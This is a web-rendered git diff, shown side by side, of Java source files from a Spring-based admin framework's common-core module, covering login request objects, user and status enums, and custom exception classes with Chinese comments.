private Set<String> rolePermission; private Set<String> rolePermission;
/** /**
* 用户名 * 用户名
*/ */
private String username; private String username;
/** /**
* 用户昵称 * 用户昵称
*/ */
private String nickname; private String nickname;
/** /**
* 角色对象 * 角色对象
*/ */
private List<RoleDTO> roles; private List<RoleDTO> roles;
/** /**
* 数据权限 当前角色ID * 数据权限 当前角色ID
*/ */
private Long roleId; private Long roleId;
/** /**
* 客户端 * 客户端
*/ */
private String clientKey; private String clientKey;
/** /**
* 设备类型 * 设备类型
*/ */
private String deviceType; private String deviceType;
/** /**
* 真实姓名 * 真实姓名
*/ */
private String realName; private String realName;
/** /**
* 身份1=员工2=技术3=客服4=分图员) * 身份1=员工2=技术3=客服4=分图员)
*/ */
private Integer identity; private Integer identity;
/** /**
* 获取登录id * 获取登录id
*/ */
public String getLoginId() { public String getLoginId() {
if (userType == null) { if (userType == null) {
throw new IllegalArgumentException("用户类型不能为空"); throw new IllegalArgumentException("用户类型不能为空");
} }
if (userId == null) { if (userId == null) {
throw new IllegalArgumentException("用户ID不能为空"); throw new IllegalArgumentException("用户ID不能为空");
} }
return userType + ":" + userId; return userType + ":" + userId;
} }
} }

View File

@@ -1,31 +1,31 @@
package org.dromara.common.core.domain.model; package org.dromara.common.core.domain.model;
import jakarta.validation.constraints.NotBlank; import jakarta.validation.constraints.NotBlank;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
import org.hibernate.validator.constraints.Length; import org.hibernate.validator.constraints.Length;
/** /**
* 密码登录对象 * 密码登录对象
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
public class PasswordLoginBody extends LoginBody { public class PasswordLoginBody extends LoginBody {
/** /**
* 用户名 * 用户名
*/ */
@NotBlank(message = "{user.username.not.blank}") @NotBlank(message = "{user.username.not.blank}")
@Length(min = 2, max = 20, message = "{user.username.length.valid}") @Length(min = 2, max = 20, message = "{user.username.length.valid}")
private String username; private String username;
/** /**
* 用户密码 * 用户密码
*/ */
@NotBlank(message = "{user.password.not.blank}") @NotBlank(message = "{user.password.not.blank}")
@Length(min = 5, max = 20, message = "{user.password.length.valid}") @Length(min = 5, max = 20, message = "{user.password.length.valid}")
private String password; private String password;
} }

View File

@@ -1,33 +1,33 @@
package org.dromara.common.core.domain.model; package org.dromara.common.core.domain.model;
import jakarta.validation.constraints.NotBlank; import jakarta.validation.constraints.NotBlank;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
import org.hibernate.validator.constraints.Length; import org.hibernate.validator.constraints.Length;
/** /**
* 用户注册对象 * 用户注册对象
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
public class RegisterBody extends LoginBody { public class RegisterBody extends LoginBody {
/** /**
* 用户名 * 用户名
*/ */
@NotBlank(message = "{user.username.not.blank}") @NotBlank(message = "{user.username.not.blank}")
@Length(min = 2, max = 20, message = "{user.username.length.valid}") @Length(min = 2, max = 20, message = "{user.username.length.valid}")
private String username; private String username;
/** /**
* 用户密码 * 用户密码
*/ */
@NotBlank(message = "{user.password.not.blank}") @NotBlank(message = "{user.password.not.blank}")
@Length(min = 5, max = 20, message = "{user.password.length.valid}") @Length(min = 5, max = 20, message = "{user.password.length.valid}")
private String password; private String password;
private String userType; private String userType;
} }

View File

@@ -1,29 +1,29 @@
package org.dromara.common.core.domain.model; package org.dromara.common.core.domain.model;
import jakarta.validation.constraints.NotBlank; import jakarta.validation.constraints.NotBlank;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
/** /**
* 短信登录对象 * 短信登录对象
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
public class SmsLoginBody extends LoginBody { public class SmsLoginBody extends LoginBody {
/** /**
* 手机号 * 手机号
*/ */
@NotBlank(message = "{user.phonenumber.not.blank}") @NotBlank(message = "{user.phonenumber.not.blank}")
private String phonenumber; private String phonenumber;
/** /**
* 短信code * 短信code
*/ */
@NotBlank(message = "{sms.code.not.blank}") @NotBlank(message = "{sms.code.not.blank}")
private String smsCode; private String smsCode;
} }

View File

@@ -1,35 +1,35 @@
package org.dromara.common.core.domain.model; package org.dromara.common.core.domain.model;
import jakarta.validation.constraints.NotBlank; import jakarta.validation.constraints.NotBlank;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
/** /**
* 三方登录对象 * 三方登录对象
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
public class SocialLoginBody extends LoginBody { public class SocialLoginBody extends LoginBody {
/** /**
* 第三方登录平台 * 第三方登录平台
*/ */
@NotBlank(message = "{social.source.not.blank}") @NotBlank(message = "{social.source.not.blank}")
private String source; private String source;
/** /**
* 第三方登录code * 第三方登录code
*/ */
@NotBlank(message = "{social.code.not.blank}") @NotBlank(message = "{social.code.not.blank}")
private String socialCode; private String socialCode;
/** /**
* 第三方登录socialState * 第三方登录socialState
*/ */
@NotBlank(message = "{social.state.not.blank}") @NotBlank(message = "{social.state.not.blank}")
private String socialState; private String socialState;
} }

View File

@@ -1,28 +1,28 @@
package org.dromara.common.core.domain.model; package org.dromara.common.core.domain.model;
import jakarta.validation.constraints.NotBlank; import jakarta.validation.constraints.NotBlank;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
/** /**
* 三方登录对象 * 三方登录对象
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
public class XcxLoginBody extends LoginBody { public class XcxLoginBody extends LoginBody {
/** /**
* 小程序id(多个小程序时使用) * 小程序id(多个小程序时使用)
*/ */
private String appid; private String appid;
/** /**
* 小程序code * 小程序code
*/ */
@NotBlank(message = "{xcx.code.not.blank}") @NotBlank(message = "{xcx.code.not.blank}")
private String xcxCode; private String xcxCode;
} }

View File

@@ -1,27 +1,27 @@
package org.dromara.common.core.domain.model; package org.dromara.common.core.domain.model;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import java.io.Serial; import java.io.Serial;
/** /**
* 小程序登录用户身份权限 * 小程序登录用户身份权限
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
@NoArgsConstructor @NoArgsConstructor
public class XcxLoginUser extends LoginUser { public class XcxLoginUser extends LoginUser {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* openid * openid
*/ */
private String openid; private String openid;
} }

View File

@@ -1,152 +1,152 @@
package org.dromara.common.core.enums; package org.dromara.common.core.enums;
import cn.hutool.core.util.StrUtil; import cn.hutool.core.util.StrUtil;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Getter; import lombok.Getter;
import org.dromara.common.core.exception.ServiceException; import org.dromara.common.core.exception.ServiceException;
import org.dromara.common.core.utils.StringUtils; import org.dromara.common.core.utils.StringUtils;
import java.util.Arrays; import java.util.Arrays;
/** /**
* 业务状态枚举 * 业务状态枚举
* *
* @author may * @author may
*/ */
@Getter @Getter
@AllArgsConstructor @AllArgsConstructor
public enum BusinessStatusEnum { public enum BusinessStatusEnum {
/** /**
* 已撤销 * 已撤销
*/ */
CANCEL("cancel", "已撤销"), CANCEL("cancel", "已撤销"),
/** /**
* 草稿 * 草稿
*/ */
DRAFT("draft", "草稿"), DRAFT("draft", "草稿"),
/** /**
* 待审核 * 待审核
*/ */
WAITING("waiting", "待审核"), WAITING("waiting", "待审核"),
/** /**
* 已完成 * 已完成
*/ */
FINISH("finish", "已完成"), FINISH("finish", "已完成"),
/** /**
* 已作废 * 已作废
*/ */
INVALID("invalid", "已作废"), INVALID("invalid", "已作废"),
/** /**
* 已退回 * 已退回
*/ */
BACK("back", "已退回"), BACK("back", "已退回"),
/** /**
* 已终止 * 已终止
*/ */
TERMINATION("termination", "已终止"); TERMINATION("termination", "已终止");
/** /**
* 状态 * 状态
*/ */
private final String status; private final String status;
/** /**
* 描述 * 描述
*/ */
private final String desc; private final String desc;
/** /**
* 获取业务状态 * 获取业务状态
* *
* @param status 状态 * @param status 状态
*/ */
public static String findByStatus(String status) { public static String findByStatus(String status) {
if (StringUtils.isBlank(status)) { if (StringUtils.isBlank(status)) {
return StrUtil.EMPTY; return StrUtil.EMPTY;
} }
return Arrays.stream(BusinessStatusEnum.values()) return Arrays.stream(BusinessStatusEnum.values())
.filter(statusEnum -> statusEnum.getStatus().equals(status)) .filter(statusEnum -> statusEnum.getStatus().equals(status))
.findFirst() .findFirst()
.map(BusinessStatusEnum::getDesc) .map(BusinessStatusEnum::getDesc)
.orElse(StrUtil.EMPTY); .orElse(StrUtil.EMPTY);
} }
/** /**
* 启动流程校验 * 启动流程校验
* *
* @param status 状态 * @param status 状态
*/ */
public static void checkStartStatus(String status) { public static void checkStartStatus(String status) {
if (WAITING.getStatus().equals(status)) { if (WAITING.getStatus().equals(status)) {
throw new ServiceException("该单据已提交过申请,正在审批中!"); throw new ServiceException("该单据已提交过申请,正在审批中!");
} else if (FINISH.getStatus().equals(status)) { } else if (FINISH.getStatus().equals(status)) {
throw new ServiceException("该单据已完成申请!"); throw new ServiceException("该单据已完成申请!");
} else if (INVALID.getStatus().equals(status)) { } else if (INVALID.getStatus().equals(status)) {
throw new ServiceException("该单据已作废!"); throw new ServiceException("该单据已作废!");
} else if (TERMINATION.getStatus().equals(status)) { } else if (TERMINATION.getStatus().equals(status)) {
throw new ServiceException("该单据已终止!"); throw new ServiceException("该单据已终止!");
} else if (StringUtils.isBlank(status)) { } else if (StringUtils.isBlank(status)) {
throw new ServiceException("流程状态为空!"); throw new ServiceException("流程状态为空!");
} }
} }
/** /**
* 撤销流程校验 * 撤销流程校验
* *
* @param status 状态 * @param status 状态
*/ */
public static void checkCancelStatus(String status) { public static void checkCancelStatus(String status) {
if (CANCEL.getStatus().equals(status)) { if (CANCEL.getStatus().equals(status)) {
throw new ServiceException("该单据已撤销!"); throw new ServiceException("该单据已撤销!");
} else if (FINISH.getStatus().equals(status)) { } else if (FINISH.getStatus().equals(status)) {
throw new ServiceException("该单据已完成申请!"); throw new ServiceException("该单据已完成申请!");
} else if (INVALID.getStatus().equals(status)) { } else if (INVALID.getStatus().equals(status)) {
throw new ServiceException("该单据已作废!"); throw new ServiceException("该单据已作废!");
} else if (TERMINATION.getStatus().equals(status)) { } else if (TERMINATION.getStatus().equals(status)) {
throw new ServiceException("该单据已终止!"); throw new ServiceException("该单据已终止!");
} else if (BACK.getStatus().equals(status)) { } else if (BACK.getStatus().equals(status)) {
throw new ServiceException("该单据已退回!"); throw new ServiceException("该单据已退回!");
} else if (StringUtils.isBlank(status)) { } else if (StringUtils.isBlank(status)) {
throw new ServiceException("流程状态为空!"); throw new ServiceException("流程状态为空!");
} }
} }
/** /**
* 驳回流程校验 * 驳回流程校验
* *
* @param status 状态 * @param status 状态
*/ */
public static void checkBackStatus(String status) { public static void checkBackStatus(String status) {
if (BACK.getStatus().equals(status)) { if (BACK.getStatus().equals(status)) {
throw new ServiceException("该单据已退回!"); throw new ServiceException("该单据已退回!");
} else if (FINISH.getStatus().equals(status)) { } else if (FINISH.getStatus().equals(status)) {
throw new ServiceException("该单据已完成申请!"); throw new ServiceException("该单据已完成申请!");
} else if (INVALID.getStatus().equals(status)) { } else if (INVALID.getStatus().equals(status)) {
throw new ServiceException("该单据已作废!"); throw new ServiceException("该单据已作废!");
} else if (TERMINATION.getStatus().equals(status)) { } else if (TERMINATION.getStatus().equals(status)) {
throw new ServiceException("该单据已终止!"); throw new ServiceException("该单据已终止!");
} else if (CANCEL.getStatus().equals(status)) { } else if (CANCEL.getStatus().equals(status)) {
throw new ServiceException("该单据已撤销!"); throw new ServiceException("该单据已撤销!");
} else if (StringUtils.isBlank(status)) { } else if (StringUtils.isBlank(status)) {
throw new ServiceException("流程状态为空!"); throw new ServiceException("流程状态为空!");
} }
} }
/** /**
* 作废,终止流程校验 * 作废,终止流程校验
* *
* @param status 状态 * @param status 状态
*/ */
public static void checkInvalidStatus(String status) { public static void checkInvalidStatus(String status) {
if (FINISH.getStatus().equals(status)) { if (FINISH.getStatus().equals(status)) {
throw new ServiceException("该单据已完成申请!"); throw new ServiceException("该单据已完成申请!");
} else if (INVALID.getStatus().equals(status)) { } else if (INVALID.getStatus().equals(status)) {
throw new ServiceException("该单据已作废!"); throw new ServiceException("该单据已作废!");
} else if (TERMINATION.getStatus().equals(status)) { } else if (TERMINATION.getStatus().equals(status)) {
throw new ServiceException("该单据已终止!"); throw new ServiceException("该单据已终止!");
} else if (StringUtils.isBlank(status)) { } else if (StringUtils.isBlank(status)) {
throw new ServiceException("流程状态为空!"); throw new ServiceException("流程状态为空!");
} }
} }
} }

View File

@@ -1,37 +1,37 @@
package org.dromara.common.core.enums; package org.dromara.common.core.enums;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Getter; import lombok.Getter;
/** /**
* 设备类型 * 设备类型
* 针对一套 用户体系 * 针对一套 用户体系
* *
* @author Lion Li * @author Lion Li
*/ */
@Getter @Getter
@AllArgsConstructor @AllArgsConstructor
public enum DeviceType { public enum DeviceType {
/** /**
* pc端 * pc端
*/ */
PC("pc"), PC("pc"),
/** /**
* app端 * app端
*/ */
APP("app"), APP("app"),
/** /**
* 小程序端 * 小程序端
*/ */
XCX("xcx"), XCX("xcx"),
/** /**
* social第三方端 * social第三方端
*/ */
SOCIAL("social"); SOCIAL("social");
private final String device; private final String device;
} }

View File

@@ -1,44 +1,44 @@
package org.dromara.common.core.enums; package org.dromara.common.core.enums;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Getter; import lombok.Getter;
/** /**
* 登录类型 * 登录类型
* *
* @author Lion Li * @author Lion Li
*/ */
@Getter @Getter
@AllArgsConstructor @AllArgsConstructor
public enum LoginType { public enum LoginType {
/** /**
* 密码登录 * 密码登录
*/ */
PASSWORD("user.password.retry.limit.exceed", "user.password.retry.limit.count"), PASSWORD("user.password.retry.limit.exceed", "user.password.retry.limit.count"),
/** /**
* 短信登录 * 短信登录
*/ */
SMS("sms.code.retry.limit.exceed", "sms.code.retry.limit.count"), SMS("sms.code.retry.limit.exceed", "sms.code.retry.limit.count"),
/** /**
* 邮箱登录 * 邮箱登录
*/ */
EMAIL("email.code.retry.limit.exceed", "email.code.retry.limit.count"), EMAIL("email.code.retry.limit.exceed", "email.code.retry.limit.count"),
/** /**
* 小程序登录 * 小程序登录
*/ */
XCX("", ""); XCX("", "");
/** /**
* 登录重试超出限制提示 * 登录重试超出限制提示
*/ */
final String retryLimitExceed; final String retryLimitExceed;
/** /**
* 登录重试限制计数提示 * 登录重试限制计数提示
*/ */
final String retryLimitCount; final String retryLimitCount;
} }

View File

@@ -1,30 +1,30 @@
package org.dromara.common.core.enums; package org.dromara.common.core.enums;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Getter; import lombok.Getter;
/** /**
* 用户状态 * 用户状态
* *
* @author ruoyi * @author ruoyi
*/ */
@Getter @Getter
@AllArgsConstructor @AllArgsConstructor
public enum UserStatus { public enum UserStatus {
/** /**
* 正常 * 正常
*/ */
OK("0", "正常"), OK("0", "正常"),
/** /**
* 停用 * 停用
*/ */
DISABLE("1", "停用"), DISABLE("1", "停用"),
/** /**
* 删除 * 删除
*/ */
DELETED("2", "删除"); DELETED("2", "删除");
private final String code; private final String code;
private final String info; private final String info;
} }

View File

@@ -1,37 +1,37 @@
package org.dromara.common.core.enums; package org.dromara.common.core.enums;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Getter; import lombok.Getter;
import org.dromara.common.core.utils.StringUtils; import org.dromara.common.core.utils.StringUtils;
/** /**
* 设备类型 * 设备类型
* 针对多套 用户体系 * 针对多套 用户体系
* *
* @author Lion Li * @author Lion Li
*/ */
@Getter @Getter
@AllArgsConstructor @AllArgsConstructor
public enum UserType { public enum UserType {
/** /**
* pc端 * pc端
*/ */
SYS_USER("sys_user"), SYS_USER("sys_user"),
/** /**
* app端 * app端
*/ */
APP_USER("app_user"); APP_USER("app_user");
private final String userType; private final String userType;
public static UserType getUserType(String str) { public static UserType getUserType(String str) {
for (UserType value : values()) { for (UserType value : values()) {
if (StringUtils.contains(str, value.getUserType())) { if (StringUtils.contains(str, value.getUserType())) {
return value; return value;
} }
} }
throw new RuntimeException("'UserType' not found By " + str); throw new RuntimeException("'UserType' not found By " + str);
} }
} }

View File

@@ -1,62 +1,62 @@
package org.dromara.common.core.exception; package org.dromara.common.core.exception;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import java.io.Serial; import java.io.Serial;
/** /**
* 业务异常 * 业务异常
* *
* @author ruoyi * @author ruoyi
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
public final class ServiceException extends RuntimeException { public final class ServiceException extends RuntimeException {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 错误码 * 错误码
*/ */
private Integer code; private Integer code;
/** /**
* 错误提示 * 错误提示
*/ */
private String message; private String message;
/** /**
* 错误明细,内部调试错误 * 错误明细,内部调试错误
*/ */
private String detailMessage; private String detailMessage;
public ServiceException(String message) { public ServiceException(String message) {
this.message = message; this.message = message;
} }
public ServiceException(String message, Integer code) { public ServiceException(String message, Integer code) {
this.message = message; this.message = message;
this.code = code; this.code = code;
} }
@Override @Override
public String getMessage() { public String getMessage() {
return message; return message;
} }
public ServiceException setMessage(String message) { public ServiceException setMessage(String message) {
this.message = message; this.message = message;
return this; return this;
} }
public ServiceException setDetailMessage(String detailMessage) { public ServiceException setDetailMessage(String detailMessage) {
this.detailMessage = detailMessage; this.detailMessage = detailMessage;
return this; return this;
} }
} }

View File

@@ -1,62 +1,62 @@
package org.dromara.common.core.exception; package org.dromara.common.core.exception;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import java.io.Serial; import java.io.Serial;
/** /**
* sse 特制异常 * sse 特制异常
* *
* @author LionLi * @author LionLi
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
public final class SseException extends RuntimeException { public final class SseException extends RuntimeException {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 错误码 * 错误码
*/ */
private Integer code; private Integer code;
/** /**
* 错误提示 * 错误提示
*/ */
private String message; private String message;
/** /**
* 错误明细,内部调试错误 * 错误明细,内部调试错误
*/ */
private String detailMessage; private String detailMessage;
public SseException(String message) { public SseException(String message) {
this.message = message; this.message = message;
} }
public SseException(String message, Integer code) { public SseException(String message, Integer code) {
this.message = message; this.message = message;
this.code = code; this.code = code;
} }
@Override @Override
public String getMessage() { public String getMessage() {
return message; return message;
} }
public SseException setMessage(String message) { public SseException setMessage(String message) {
this.message = message; this.message = message;
return this; return this;
} }
public SseException setDetailMessage(String detailMessage) { public SseException setDetailMessage(String detailMessage) {
this.detailMessage = detailMessage; this.detailMessage = detailMessage;
return this; return this;
} }
} }

View File

@@ -1,74 +1,74 @@
package org.dromara.common.core.exception.base; package org.dromara.common.core.exception.base;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import org.dromara.common.core.utils.MessageUtils; import org.dromara.common.core.utils.MessageUtils;
import org.dromara.common.core.utils.StringUtils; import org.dromara.common.core.utils.StringUtils;
import java.io.Serial; import java.io.Serial;
/** /**
* 基础异常 * 基础异常
* *
* @author ruoyi * @author ruoyi
*/ */
@Data @Data
@EqualsAndHashCode(callSuper = true) @EqualsAndHashCode(callSuper = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
public class BaseException extends RuntimeException { public class BaseException extends RuntimeException {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
/** /**
* 所属模块 * 所属模块
*/ */
private String module; private String module;
/** /**
* 错误码 * 错误码
*/ */
private String code; private String code;
/** /**
* 错误码对应的参数 * 错误码对应的参数
*/ */
private Object[] args; private Object[] args;
/** /**
* 错误消息 * 错误消息
*/ */
private String defaultMessage; private String defaultMessage;
public BaseException(String module, String code, Object[] args) { public BaseException(String module, String code, Object[] args) {
this(module, code, args, null); this(module, code, args, null);
} }
public BaseException(String module, String defaultMessage) { public BaseException(String module, String defaultMessage) {
this(module, null, null, defaultMessage); this(module, null, null, defaultMessage);
} }
public BaseException(String code, Object[] args) { public BaseException(String code, Object[] args) {
this(null, code, args, null); this(null, code, args, null);
} }
public BaseException(String defaultMessage) { public BaseException(String defaultMessage) {
this(null, null, null, defaultMessage); this(null, null, null, defaultMessage);
} }
@Override @Override
public String getMessage() { public String getMessage() {
String message = null; String message = null;
if (!StringUtils.isEmpty(code)) { if (!StringUtils.isEmpty(code)) {
message = MessageUtils.message(code, args); message = MessageUtils.message(code, args);
} }
if (message == null) { if (message == null) {
message = defaultMessage; message = defaultMessage;
} }
return message; return message;
} }
} }

View File

@@ -1,21 +1,21 @@
package org.dromara.common.core.exception.file; package org.dromara.common.core.exception.file;
import org.dromara.common.core.exception.base.BaseException; import org.dromara.common.core.exception.base.BaseException;
import java.io.Serial; import java.io.Serial;
/** /**
* 文件信息异常类 * 文件信息异常类
* *
* @author ruoyi * @author ruoyi
*/ */
public class FileException extends BaseException { public class FileException extends BaseException {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
public FileException(String code, Object[] args) { public FileException(String code, Object[] args) {
super("file", code, args, null); super("file", code, args, null);
} }
} }

View File

@@ -1,18 +1,18 @@
package org.dromara.common.core.exception.file; package org.dromara.common.core.exception.file;
import java.io.Serial; import java.io.Serial;
/** /**
* 文件名称超长限制异常类 * 文件名称超长限制异常类
* *
* @author ruoyi * @author ruoyi
*/ */
public class FileNameLengthLimitExceededException extends FileException { public class FileNameLengthLimitExceededException extends FileException {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
public FileNameLengthLimitExceededException(int defaultFileNameLength) { public FileNameLengthLimitExceededException(int defaultFileNameLength) {
super("upload.filename.exceed.length", new Object[]{defaultFileNameLength}); super("upload.filename.exceed.length", new Object[]{defaultFileNameLength});
} }
} }

View File

@@ -1,18 +1,18 @@
package org.dromara.common.core.exception.file; package org.dromara.common.core.exception.file;
import java.io.Serial; import java.io.Serial;
/** /**
* 文件名大小限制异常类 * 文件名大小限制异常类
* *
* @author ruoyi * @author ruoyi
*/ */
public class FileSizeLimitExceededException extends FileException { public class FileSizeLimitExceededException extends FileException {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
public FileSizeLimitExceededException(long defaultMaxSize) { public FileSizeLimitExceededException(long defaultMaxSize) {
super("upload.exceed.maxSize", new Object[]{defaultMaxSize}); super("upload.exceed.maxSize", new Object[]{defaultMaxSize});
} }
} }

View File

@@ -1,18 +1,18 @@
package org.dromara.common.core.exception.user; package org.dromara.common.core.exception.user;
import java.io.Serial; import java.io.Serial;
/** /**
* 验证码错误异常类 * 验证码错误异常类
* *
* @author ruoyi * @author ruoyi
*/ */
public class CaptchaException extends UserException { public class CaptchaException extends UserException {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
public CaptchaException() { public CaptchaException() {
super("user.jcaptcha.error"); super("user.jcaptcha.error");
} }
} }

View File

@@ -1,18 +1,18 @@
package org.dromara.common.core.exception.user; package org.dromara.common.core.exception.user;
import java.io.Serial; import java.io.Serial;
/** /**
* 验证码失效异常类 * 验证码失效异常类
* *
* @author ruoyi * @author ruoyi
*/ */
public class CaptchaExpireException extends UserException { public class CaptchaExpireException extends UserException {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
public CaptchaExpireException() { public CaptchaExpireException() {
super("user.jcaptcha.expire"); super("user.jcaptcha.expire");
} }
} }

View File

@@ -1,20 +1,20 @@
package org.dromara.common.core.exception.user; package org.dromara.common.core.exception.user;
import org.dromara.common.core.exception.base.BaseException; import org.dromara.common.core.exception.base.BaseException;
import java.io.Serial; import java.io.Serial;
/** /**
* 用户信息异常类 * 用户信息异常类
* *
* @author ruoyi * @author ruoyi
*/ */
public class UserException extends BaseException { public class UserException extends BaseException {
@Serial @Serial
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
public UserException(String code, Object... args) { public UserException(String code, Object... args) {
super("user", code, args, null); super("user", code, args, null);
} }
} }

Some files were not shown because too many files have changed in this diff Show More